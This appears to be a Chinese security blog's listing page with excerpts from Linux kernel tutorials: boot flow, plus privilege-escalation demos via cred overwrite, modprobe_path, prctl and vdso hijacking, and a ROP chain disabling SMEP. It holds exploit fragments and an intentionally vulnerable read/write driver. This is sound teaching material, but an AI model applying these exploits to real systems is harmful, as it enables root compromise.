/images/avatar.jpg

the more u learn, the less u know

玄武实验室安全研究员, 专注于内核与Httpd漏洞挖掘

转载必须注明原链接

linux内核(5.4.81)---内核引导

发表于看雪论坛 本文详细讲解linux内核的加载过程,参考linux-insiders,并结合linux-5.6.6代码对原文的部分老旧内容做修改 引导 按下电源开关后, CPU设置寄存器为预定值,程序在实模式下运行,程序首先执行0xfffffff0(映射至ROM)处内容,此处为复位向量,直接跳转至BIOS。 BIOS初始化,检查硬件,寻找可引导设备,跳转至引导扇区代码(boot.img) 寻找可引导设备方式: 定位MBR分区, 引导扇区存储在第一个扇区(512字节)的头446字节处。引导扇区以0x55和0xaa(magic bytes)结束。 MBR分区代码只占用一个扇区, 空间较小,只执行了一些初始化工作, 然后跳转至GRUB2的core image(以diskboot.img为起始)继续执行。 core image的初始化代码将剩余的core image(包含GRUB 2的内核代码和文件系统驱动)加载到内存中,运行grub_main grub_main 初始化控制台,计算模块基地址,设置root设备,读取 grub 配置文件,加载模块等,最后将grub切换为normal模式 normal模式调用grub_normal_execute完成最后的准备工作,显示一个菜单列出可用的操作系统。 选择操作系统后grub_menu_execute_entry被调用,用以运行boot命令,引导操作系统, 运行kernel代码 内核自带bootloader,但是新版本内核已经弃用 kernel boot protocol规定,bootloader必须具备协议中规定的头信息 实模式运行内核 kernel地址(header.S _start)位于X + sizeof(KernelBootSector) + 1 内核加载进入内存后,空间排布 | Protected-mode kernel | 100000 +------------------------+ | I/O memory hole | 0A0000 +------------------------+ | Reserved for BIOS | Leave as much as possible unused ~ ~ | Command line | (Can also be below the X+10000 mark) X+10000 +------------------------+ | Stack/heap | For use by the kernel real-mode code.

linux 内核提权总结(demo+exp分析) -- 任意读写(四)

发表于看雪论坛 hijack_modprobe_path篇 原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermodehelper(char *modprobe_path …) 修改modprobe后,即可实现root权限任意命令执行 攻击流程 (内核任意读写漏洞)内核修改全局变量 modprobe_path为目标指令 写入错误格式elf文件,并手动执行,触发 一. 利用步骤 1. 定位modprobe_path(开启kaslr) 同hijack_vdso,泄漏vdso地址,因为内核kaslr开启后,只有较高字节的地址发生偏移,且vdso与基地址相距较近,所以可以使用vdso定位内核加载地址 获得当前调试阶段modprobe_path与内核基地址固定偏移 modprobe_path_addr = 内核基地址+固定偏移 2. 修改modprobe_path 为任意指令 二. 驱动代码(见cred) 三. exp #define _GNU_SOURCE #include <stdio.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/auxv.h>#include <sys/prctl.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 size_t modprobe_path = 0xe3cba0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.

linux 内核提权总结(demo+exp分析) -- 任意读写(三)

发表于看雪论坛 hijack_prctl篇 prctl函数: 用户态函数,可用于定制进程参数,非常适合和内核进行交互 用户态执行prctl函数后触发prctl系统调用 内核接收参数后执行security_task_prctl security_task_prctl执行hook.task_prctl poweroff_work_func函数: 内核函数,执行 run_cmd(poweroff_cmd),即root权限执行poweroff_cmd 攻击流程: 劫持hook.task_prctl为目标函数地址(poweroff_work_func) 修改poweroff_cmd为目标指令 用户执行prctl函数,触发 一. 利用步骤 1. 定位内核加载基地址(开启kaslr) 同hijack_vdso,泄漏vdso地址,因为内核kaslr开启后,只有较高字节的地址发生偏移,且vdso与基地址相距较近,所以可以使用vdso定位内核加载地址 2. 定位hook.prctl,poweroff_cmd地址 gdb调试内核并在security_task_prctl函数处下断点,用户态程序执行prctl函数,进入security_task_prctl函数,单步执行汇编指令,通过内存查看hook.task_prctl 地址 gdb 执行 p poweroff_cmd,获得poweroff_cmd真实地址 获得hook.prctl,poweroff_cmd与内核基地址固定偏移 3. 修改poweroff_cmd 为任意指令 4. 用户态执行prctl函数,触发 二. 驱动代码(见cred篇) 三. exp #define _GNU_SOURCE #include <stdio.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/auxv.h>#include <sys/prctl.

linux 内核提权总结(demo+exp分析) -- 任意读写(二)

发表于看雪论坛 hijack_vdso篇 vdso: 内核实现的一个动态库,存在于内核,然后映射到用户态空间,可由用户态直接调用 内核中的vdso如果被修改,那么用户态空间的vdso也会同步被修改 攻击流程 (内核任意代码执行漏洞)内核调用set_memory_rw 函数修改内核vdso页面属性,使得用户态可以直接修改vdso,劫持vdso为shellcode,触发条件同1 (内核任意读写漏洞)内核修改内核vdso数据,写入shellcode,使得用户态vdso中函数被劫持,当高权限进程调用vdso中特定函数时,触发shellcode,本篇只讲解攻击流程2 一. 利用步骤 1. 定位内核态vdso位置 vdso中存在一些比较有特点的字符串,比如"gettimeofday",在拥有任意读漏洞的前提下,从0xffffffff80000000(开启kaslr后内核基地址在此地址基础上往上偏移)开始按页搜索内存 如果内存其他地方存在"gettimeofday"字符串,且出现在vdso之前,则会返回错误地址。所以在内存搜索时,应以返回地址为起始,使用gdb dump 0x2000 内存,使用ida查看是否是vdso,如果不是,可以忽略这个错误地址,继续向下搜索。 得到真正的vdso后,查看"gettimeofday"与vdso起始地址的偏移,后续匹配vdso时,加上这个偏移条件 2. 向内核中vdso写入shellcode shellcode功能: 判断进程是否具有root权限,如果成立,则开辟新进程用来反弹root shell shellcode写入位置: 定位vdso上某函数,比如gettimeofday函数,使用shellcode覆盖 shellcode触发条件: 当高权限进程调用gettimeofday函数时,自动执行shellcode 反弹root shell 二. 驱动代码(见cred篇) 三. exp #define _GNU_SOURCE #include <stdio.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/auxv.

linux 内核提权总结(demo+exp分析) -- 任意读写(一)

发表于看雪论坛 cred篇 每个线程在内核中都对应一个线程结构块thread_info thread_info中存在task_struct类型结构体 struct task_struct中存在cred结构体用来保存线程权限 攻击流程 定位某进程的cred结构体 将cred结构提结构体的uid~fsgid全部覆写为0(前28字节) 一. 利用步骤 1. 定位cred结构体 task_struct中存在char comm[TASK_COMM_LEN] comm字符串使用prctl函数的PR_SET_NAME自行设置 在内存中搜索被设置后的comm字符串,cred结构体地址就在附近 泄漏cred结构体地址,定向覆盖cred结构体 2. 进程权限被修改,变成root进程,执行system("/bin/sh"),弹出root shell 二. 驱动代码 #include <linux/init.h>#include <linux/module.h>#include <linux/cdev.h>#include <linux/device.h>#include <linux/fs.h>#include <linux/uaccess.h>#include <asm/cacheflush.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0x100003 dev_t dev_id = 0; struct cdev cdev_0; struct class *dev_class; struct vunl { char *point; size_t size; } VUNL; long rw_any_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int ret = 0; switch (cmd) { case CHANGE_POINT: ret = copy_from_user(&VUNL, (struct vunl *)(arg), sizeof(struct vunl)); break; case RW_READ: ret = copy_to_user((char *)arg, (char *)VUNL.

linux 内核提权总结(demo+exp分析) -- ROP(二)

发表于看雪论坛 ret2usr CR4篇 smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep, 第20位为0时,smep被关闭 攻击流程 提前在用户态代码中构造进程提权代码(get_root) ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0 修改 rip 直接指向用户态提权代码,实现进程提权 一. 判断是否开启smep 查看 boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \ -cpu qemu64,+smep,+smap \ -nographic \ -gdb tcp::1234 smep, smap 在boot.sh -cpu选项内进行设置 二. ROP链构造 ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret ROP[i++] = 0x6f0; ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret ROP[i++] = 0; ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret ROP[i++] = 0; ROP[i++] = (size_t)get_root; 三.